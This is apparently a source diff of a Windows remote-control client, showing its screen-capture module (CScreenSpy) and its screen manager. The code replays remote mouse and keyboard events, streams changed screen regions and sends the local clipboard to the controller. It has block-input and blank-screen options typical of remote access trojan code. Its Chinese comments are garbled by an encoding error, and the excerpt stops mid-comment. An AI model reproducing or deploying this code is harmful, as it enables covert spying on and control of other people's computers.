MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT point;
point.x = LOWORD(pMsg->lParam);
point.y = HIWORD(pMsg->lParam);
SetCursorPos(point.x, point.y);
SetCapture(WindowFromPoint(point));
}
break;
default:
break;
}
switch(pMsg->message)
{
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
}
void CScreenManager::UpdateLocalClipboard( char *buf, int len )
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hglbCopy = GlobalAlloc(GMEM_DDESHARE, len);
if (hglbCopy != NULL) {
// Lock the handle and copy the text to the buffer.
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
memcpy(lptstrCopy, buf, len);
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
SetClipboardData(CF_TEXT, hglbCopy);
GlobalFree(hglbCopy);
}
CloseClipboard();
}
void CScreenManager::SendLocalClipboard()
{
if (!::OpenClipboard(NULL))
return;
HGLOBAL hglb = GetClipboardData(CF_TEXT);
if (hglb == NULL)
{
::CloseClipboard();
return;
}
int nPacketLen = GlobalSize(hglb) + 1;
LPSTR lpstr = (LPSTR) GlobalLock(hglb);
LPBYTE lpData = new BYTE[nPacketLen];
lpData[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(lpData + 1, lpstr, nPacketLen - 1);
::GlobalUnlock(hglb);
::CloseClipboard();
Send(lpData, nPacketLen);
delete[] lpData;
}
// <20><>Ļ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD>
bool CScreenManager::IsMetricsChange()
{
LPBITMAPINFO lpbmi = m_pScreenSpy->getBI();
return (lpbmi->bmiHeader.biWidth != ::GetSystemMetrics(SM_CXSCREEN)) ||
(lpbmi->bmiHeader.biHeight != ::GetSystemMetrics(SM_CYSCREEN));
}
bool CScreenManager::IsConnect()
{
return m_pClient->IsRunning();
}
int CScreenManager::GetCurrentPixelBits()
{
return m_biBitCount;
}

View File

@@ -0,0 +1,44 @@
// ScreenManager.h: interface for the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_)
#define AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "ScreenSpy.h"
class CScreenManager : public CManager
{
public:
CScreenManager(CClientSocket *pClient);
virtual ~CScreenManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
void sendBITMAPINFO();
void sendFirstScreen();
void sendNextScreen();
bool IsMetricsChange();
bool IsConnect();
int GetCurrentPixelBits();
bool m_bIsWorking;
bool m_bIsBlockInput;
bool m_bIsBlankScreen;
private:
BYTE m_bAlgorithm;
bool m_bIsCaptureLayer;
int m_biBitCount;
HANDLE m_hWorkThread, m_hBlankThread;
CCursorInfo m_CursorInfo;
CScreenSpy *m_pScreenSpy;
void ResetScreen(int biBitCount);
void ProcessCommand(LPBYTE lpBuffer, UINT nSize);
static DWORD WINAPI WorkThread(LPVOID lparam);
static DWORD WINAPI ControlThread(LPVOID lparam);
void UpdateLocalClipboard(char *buf, int len);
void SendLocalClipboard();
};
#endif // !defined(AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_)

View File

@@ -0,0 +1,503 @@
// ScreenSpy.cpp: implementation of the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "ScreenSpy.h"
#include "until.h"
#define RGB2GRAY(r,g,b) (((b)*117 + (g)*601 + (r)*306) >> 10)
#define DEF_STEP 19
#define OFF_SET 24
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#ifdef _CONSOLE
#include <stdio.h>
#endif
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
switch (biBitCount)
{
case 1:
case 4:
case 8:
case 16:
case 32:
m_biBitCount = biBitCount;
break;
default:
m_biBitCount = 8;
}
if (!SelectInputWinStation())
{
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><E6B4B0>
m_hDeskTopWnd = GetDesktopWindow();
// <20><><EFBFBD>ݴ<EFBFBD><DDB4>ڻ<EFBFBD>ȡDC<44><43><EFBFBD><EFBFBD>
m_hFullDC = GetDC(m_hDeskTopWnd);
}
m_dwBitBltRop = SRCCOPY;
// Ĭ<><C4AC>ʹ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD>
m_bAlgorithm = ALGORITHM_SCAN;
m_dwLastCapture = GetTickCount();
m_nMaxFrameRate = nMaxFrameRate;
m_dwSleep = 1000 / nMaxFrameRate;
m_bIsGray = bIsGray;
m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);
m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
m_nIncSize = 32 / m_biBitCount;
m_nStartLine = 0;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E8B1B8><EFBFBD><EFBFBD>DC
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hLineMemDC = ::CreateCompatibleDC(NULL);
m_hRectMemDC = ::CreateCompatibleDC(NULL);
m_lpvLineBits = NULL;
m_lpvFullBits = NULL;
// LPBITMAPINFOλͼ<CEBB><CDBC>Ϣ<EFBFBD>
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
// <20><><EFBFBD><EFBFBD>λͼ<CEBB><EFBFBD><E1B9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_lpbmi_full<6C><6C>m_lpvFullBits<74><73><EFBFBD>͵Ļ<CDB5><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD>ץȡ<D7A5><C8A1><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
// <20><><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>Ϊλͼ<CEBB><CDBC><EFBFBD><EFBFBD><EFBFBD>˱<EFBFBD><CBB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5>ڴ<EFBFBD><DAB4>ռ<EFBFBD>
m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
// <20><><EFBFBD>ڴ<EFBFBD>DC<44><43>HITMAP<41><50>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>
// ͨ<><CDA8>m_hFullMemDCץȡ<D7A5><C8A1><EFBFBD>ݱ<EFBFBD><DDB1><EFBFBD><EFBFBD><EFBFBD> m_hFullBitmapȻ<70><C8BB><EFBFBD><EFBFBD><EFBFBD>ݱ<EFBFBD><DDB1><EFBFBD><E6B5BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_lpvFullBits<74><73>
::SelectObject(m_hFullMemDC, m_hFullBitmap);
::SelectObject(m_hLineMemDC, m_hLineBitmap);
::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
// <20><EFBFBD><E3B9BB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱץȡ<D7A5><C8A1><EFBFBD><EFBFBD>ͼ<EFBFBD>εĻ<CEB5><C4BB><EFBFBD><EFBFBD><EFBFBD>
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
m_rectBufferOffset = 0;
}
CScreenSpy::~CScreenSpy()
{
::ReleaseDC(m_hDeskTopWnd, m_hFullDC);
::DeleteDC(m_hLineMemDC);
::DeleteDC(m_hFullMemDC);
::DeleteDC(m_hRectMemDC);
::DeleteDC(m_hDiffMemDC);
::DeleteObject(m_hLineBitmap);
::DeleteObject(m_hFullBitmap);
::DeleteObject(m_hDiffBitmap);
if (m_rectBuffer)
delete[] m_rectBuffer;
delete[] m_lpbmi_full;
delete[] m_lpbmi_line;
delete[] m_lpbmi_rect;
}
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
static LONG nOldCursorPosY = 0;
if (lpdwBytes == NULL || m_rectBuffer == NULL)
return NULL;
SelectInputWinStation();
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
m_rectBufferOffset = 0;
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
POINT CursorPos;
GetCursorPos(&CursorPos);
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ
ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
*lpdwBytes = m_rectBufferOffset +
Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
return m_rectBuffer;
}
// <20><><EFBFBD><EFBFBD>λ<EFBFBD>÷<EFBFBD><C3B7><EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD>ȵ<EFBFBD><C8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E4BBAF><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E4BBAF><EFBFBD><EFBFBD> + DEF_STEP)<29><><EFBFBD><EFBFBD>ɨ<EFBFBD><C9A8>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nHotspot = max(0, CursorPos.y - DEF_STEP);
for (
int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
i < m_nFullHeight;
i += DEF_STEP
)
{
if (ScanChangedRect(i))
{
i += DEF_STEP;
}
}
nOldCursorPosY = CursorPos.y;
m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
*lpdwBytes = m_rectBufferOffset;
// <20><><EFBFBD>Ʒ<EFBFBD><C6B7><EFBFBD>֡<EFBFBD><D6A1><EFBFBD>ٶ<EFBFBD>
while (GetTickCount() - m_dwLastCapture < m_dwSleep)
Sleep(1);
InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
return m_rectBuffer;
}
bool CScreenSpy::ScanChangedRect(int nStartLine)
{
bool bRet = false;
LPDWORD p1, p2;
::BitBlt(m_hLineMemDC, 0, 0, m_nFullWidth, 1, m_hFullDC, 0, nStartLine, m_dwBitBltRop);
// 0 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
p1 = (PDWORD)((DWORD)m_lpvFullBits + ((m_nFullHeight - 1 - nStartLine) * m_nDataSizePerLine));
p2 = (PDWORD)m_lpvLineBits;
::SetRect(&m_changeRect, -1, nStartLine - DEF_STEP, -1, nStartLine + DEF_STEP * 2);
for (int j = 0; j < m_nFullWidth; j += m_nIncSize)
{
if (*p1 != *p2)
{
if (m_changeRect.right < 0)
m_changeRect.left = j - OFF_SET;
m_changeRect.right = j + OFF_SET;
}
p1++;
p2++;
}
if (m_changeRect.right > -1)
{
m_changeRect.left = max(m_changeRect.left, 0);
m_changeRect.top = max(m_changeRect.top, 0);
m_changeRect.right = min(m_changeRect.right, m_nFullWidth);
m_changeRect.bottom = min(m_changeRect.bottom, m_nFullHeight);
// <20><><EFBFBD>Ƹı<C6B8><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CopyRect(&m_changeRect);
bRet = true;
}
return bRet;
}
void CScreenSpy::setAlgorithm(UINT nAlgorithm)
{
InterlockedExchange((LPLONG)&m_bAlgorithm, nAlgorithm);
}
// <20><><EFBFBD><EFBFBD>λͼ<CEBB>
LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
{
/*
biBitCount Ϊ1 (<28>ڰ׶<DAB0>ɫͼ) <20><>4 (16 ɫͼ) <20><>8 (256 ɫͼ) ʱ<><CAB1><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>С
biBitCount Ϊ16 (16 λɫͼ) <20><>24 (<28><><EFBFBD><EFBFBD>ɫͼ, <20><>֧<EFBFBD><D6A7>) <20><>32 (32 λɫͼ) ʱû<CAB1><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB>
*/
int color_num = biBitCount <= 8 ? 1 << biBitCount : 0;
int nBISize = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
BITMAPINFO *lpbmi = (BITMAPINFO *) new BYTE[nBISize];
BITMAPINFOHEADER *lpbmih = &(lpbmi->bmiHeader);
lpbmih->biSize = sizeof(BITMAPINFOHEADER);
lpbmih->biWidth = biWidth;
lpbmih->biHeight = biHeight;
lpbmih->biPlanes = 1;
lpbmih->biBitCount = biBitCount;
lpbmih->biCompression = BI_RGB;
lpbmih->biXPelsPerMeter = 0;
lpbmih->biYPelsPerMeter = 0;
lpbmih->biClrUsed = 0;
lpbmih->biClrImportant = 0;
lpbmih->biSizeImage = (((lpbmih->biWidth * lpbmih->biBitCount + 31) & ~31) >> 3) * lpbmih->biHeight;
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
if (biBitCount >= 16)
return lpbmi;
/*
Windows 95<39><35>Windows 98<39><38><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lpvBits<74><73><EFBFBD><EFBFBD>ΪNULL<4C><4C><EFBFBD><EFBFBD>GetDIBits<74>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BITMAPINFO<46><EFBFBD><E1B9B9><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>ֵΪλͼ<CEBB><CDBC><EFBFBD>ܹ<EFBFBD><DCB9><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Windows NT<4E><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lpvBits<74><73><EFBFBD><EFBFBD>ΪNULL<4C><4C><EFBFBD><EFBFBD>GetDIBits<74>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BITMAPINFO<46><EFBFBD><E1B9B9><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>ֵΪ<D6B5><CEAA>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><30><D6B5>Windows NT<4E><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>callGetLastError<6F><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*/
HDC hDC = GetDC(NULL);
HBITMAP hBmp = CreateCompatibleBitmap(hDC, 1, 1); // <20>߿<EFBFBD><DFBF><EFBFBD><EFBFBD><EFBFBD>Ϊ0
GetDIBits(hDC, hBmp, 0, 0, NULL, lpbmi, DIB_RGB_COLORS);
ReleaseDC(NULL, hDC);
DeleteObject(hBmp);
if (m_bIsGray)
{
for (int i = 0; i < color_num; i++)
{
int color = RGB2GRAY(lpbmi->bmiColors[i].rgbRed, lpbmi->bmiColors[i].rgbGreen, lpbmi->bmiColors[i].rgbBlue);
lpbmi->bmiColors[i].rgbRed = lpbmi->bmiColors[i].rgbGreen = lpbmi->bmiColors[i].rgbBlue = color;
}
}
return lpbmi;
}
void CScreenSpy::WriteRectBuffer(LPBYTE lpData, int nCount)
{
memcpy(m_rectBuffer + m_rectBufferOffset, lpData, nCount);
m_rectBufferOffset += nCount;
}
LPVOID CScreenSpy::getFirstScreen()
{
::BitBlt(m_hFullMemDC, 0, 0, m_nFullWidth, m_nFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
return m_lpvFullBits;
}
void CScreenSpy::CopyRect( LPRECT lpRect )
{
int nRectWidth = lpRect->right - lpRect->left;
int nRectHeight = lpRect->bottom - lpRect->top;
LPVOID lpvRectBits = NULL;
// <20><><EFBFBD><EFBFBD>m_lpbmi_rect
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
* m_lpbmi_rect->bmiHeader.biHeight;
HBITMAP hRectBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_rect, DIB_RGB_COLORS, &lpvRectBits, NULL, NULL);
::SelectObject(m_hRectMemDC, hRectBitmap);
::BitBlt(m_hFullMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, m_hFullDC, lpRect->left, lpRect->top, m_dwBitBltRop);
::BitBlt(m_hRectMemDC, 0, 0, nRectWidth, nRectHeight, m_hFullMemDC, lpRect->left, lpRect->top, SRCCOPY);
WriteRectBuffer((LPBYTE)lpRect, sizeof(RECT));
WriteRectBuffer((LPBYTE)lpvRectBits, m_lpbmi_rect->bmiHeader.biSizeImage);
DeleteObject(hRectBitmap);
}
UINT CScreenSpy::getFirstImageSize()
{
return m_lpbmi_full->bmiHeader.biSizeImage;
}
void CScreenSpy::setCaptureLayer(bool bIsCaptureLayer)
{
DWORD dwRop = SRCCOPY;
if (bIsCaptureLayer)
dwRop |= CAPTUREBLT;
InterlockedExchange((LPLONG)&m_dwBitBltRop, dwRop);
}
LPBITMAPINFO CScreenSpy::getBI()
{
// LPBITMAPINFOλͼ<CEBB><CDBC>Ϣ<EFBFBD>
return m_lpbmi_full;
}
UINT CScreenSpy::getBISize()
{
// <20><>ǰλͼ<CEBB><CDBC>С
int color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;
// <20>ṹ+λͼX<CDBC><EFBFBD><E1B9B9>С
return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
}
bool CScreenSpy::SelectInputWinStation()
{
bool bRet = ::SwitchInputDesktop();
if (bRet)
{
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
m_hDeskTopWnd = GetDesktopWindow();
m_hFullDC = GetDC(m_hDeskTopWnd);
}
return bRet;
}
//// <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȵ<EFBFBD>
// LONG CScreenSpy::getKeyBoardHotspotY()
// {
// static DWORD dwCurrentThreadId = GetCurrentThreadId();
// static HWND hWindow = GetForegroundWindow();
// static DWORD dwWindowThreadId = GetWindowThreadProcessId(hWindow, NULL);
// HWND hCurrentWindow = GetForegroundWindow();
// if (hCurrentWindow != hWindow )
// {
// // Release
// AttachThreadInput(dwCurrentThreadId, dwWindowThreadId, FALSE);
// hWindow = hCurrentWindow;
// dwWindowThreadId = GetWindowThreadProcessId(hWindow, NULL);
// AttachThreadInput(dwCurrentThreadId, dwWindowThreadId, TRUE);
// }
//
// POINT pt;
// if (GetCaretPos(&pt))
// {
// ClientToScreen(GetFocus(), &pt);
// }
// return pt.y;
// }
void CScreenSpy::ScanScreen( HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight)
{
UINT nJumpLine = 50;
UINT nJumpSleep = nJumpLine / 10; // ɨ<><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nOther;
int nToJump = 0;
int i = 0;
// ɨ<><C9A8><EFBFBD><EFBFBD>Ļ
for (i = 0, nToJump = 0; i < nHeight; i += nToJump)
{
nOther = nHeight - i;
if (nOther > nJumpLine)
nToJump = nJumpLine;
else
nToJump = nOther;
BitBlt(hdcDest, 0, i, nWidth, nToJump, hdcSrc, 0, i, m_dwBitBltRop);
Sleep(nJumpSleep);
}
}
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD><EFBFBD><E3B7A8><EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD>
int CScreenSpy::Compare( LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize )
{
// Windows<77>һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
LPDWORD p1, p2;
p1 = (LPDWORD)lpDest;
p2 = (LPDWORD)lpSource;
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
int nOffsetOffset = 0, nBytesOffset = 0, nDataOffset = 0;
int nCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD>
// p1++ʵ<><CAB5><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DWORD
for (int i = 0; i < dwSize; i += 4, p1++, p2++)
{
if (*p1 == *p2)
continue;
// һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ鿪ʼ
// д<><D0B4>ƫ<EFBFBD>Ƶ<EFBFBD>ַ
*(LPDWORD)(lpBuffer + nOffsetOffset) = i;
// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
nBytesOffset = nOffsetOffset + sizeof(int);
nDataOffset = nBytesOffset + sizeof(int);
nCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
nCount += 4;
i += 4, p1++, p2++;
for (int j = i; j < dwSize; j += 4, i += 4, p1++, p2++)
{
if (*p1 == *p2)
break;
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
nCount += 4;
}
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
*(LPDWORD)(lpBuffer + nBytesOffset) = nCount;
nOffsetOffset = nDataOffset + nCount;
}
// nOffsetOffset <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD>С
return nOffsetOffset;
// <09>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٶȻ<D9B6>û<EFBFBD><C3BB>C<EFBFBD><EFBFBD><EFBFBD><ECA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// int Bytes = 0;
// __asm
// {
// mov esi, [lpSource]
// mov edi, [lpDest]
// mov ebx, [lpBuffer]
// xor ecx, ecx
// jmp short Loop_Compare // <20><>ʼ<EFBFBD><CABC><EFBFBD>бȽ<D0B1>
// Loop_Compare_Continue:
// mov eax, dword ptr [esi]
// cmp eax, dword ptr [edi]
// je short Loop_Compare_Equal // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD>
// mov [edi], eax // д<>벻ͬ<EBB2BB><CDAC><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>
// mov edx, ebx // edx <20><>¼<EFBFBD><C2BC>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼλ<CABC><CEBB>
// mov dword ptr [ebx], ecx
// add ebx, 8
// mov dword ptr [ebx], eax
// add ebx, 4
// add esi, 4
// add edi, 4
// add ecx, 4
